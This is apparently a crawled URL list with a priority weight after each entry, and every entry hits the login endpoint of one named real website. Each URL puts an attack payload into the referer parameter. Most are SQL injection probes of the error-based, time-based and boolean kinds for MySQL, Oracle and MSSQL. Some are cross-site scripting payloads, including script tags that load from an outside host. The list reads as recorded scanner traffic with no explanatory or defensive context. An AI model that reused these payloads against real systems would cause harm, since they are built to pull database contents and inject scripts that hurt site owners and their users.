http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%200x696E6465782E706870%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%20RLIKE%20(SELECT%20(CASE%20WHEN%20(79=29)%20THEN%200x696E6465782E706870%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%22%20AND%20%22Jc%22=%22JV 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%22)%20AND%2076=11%20AND%20(%22oQ%22=%22oQ 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%25%22%29%20AND%2098%3D96%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%25%27%29%20AND%2048%3D44%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%25%27%29%20AND%2072%3D72%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%25%27%29%20AND%2074%3D52%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%25%27%29%20AND%2074%3D74%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%25'%20AND%2026=51%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%25'%20AND%2079=65%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%25'%20AND%2091=91%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%25'%20AND%2099=99%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0002 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=42)%20THEN%200x696E6465782E706870%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(42=11)%20THEN%20'index.php'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(67=67)%20THEN%200x696E6465782E706870%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(99=99)%20THEN%20'index.php'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%2527 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%2527%20AND%2023=14%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%2527%20AND%2023=23%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%5C%22 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%5C' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%bf%27 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20AND%20'BX'='zh 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20AND%20'GX'%20LIKE%20'40 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20AND%20'U4'='U4 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20AND%20'pN'%20LIKE%20'pN 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20AND%20'tX'='yf 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20AND%20'uJ'='uJ 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20OR%20'HY'='HY'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20OR%20'yK'='i9 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(21=65)%20THEN%200x696E6465782E706870%20ELSE%200x28%20END))%20AND%20'YI'='YI 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(46=46)%20THEN%20'index.php'%20ELSE%200x28%20END))%20AND%20'Qo'='Qo 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(55=55)%20THEN%200x696E6465782E706870%20ELSE%200x28%20END))%20AND%20'fu'='fu 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(97=74)%20THEN%20'index.php'%20ELSE%200x28%20END))%20AND%20'80'='80 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%22 0.0003 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php')%20AND%20('jG'%20LIKE%20'jG 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php')%20AND%20('oa'%20LIKE%20'ZS 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php')%20AND%2021=56%20AND%20('ub'='ub 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php')%20AND%2026=26%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php')%20AND%2031=22%20AND%20('Q5'='Q5 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php')%20AND%2051=51%20AND%20('aT'='aT 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php')%20AND%20SLEEP(5)%20%23 0.0001 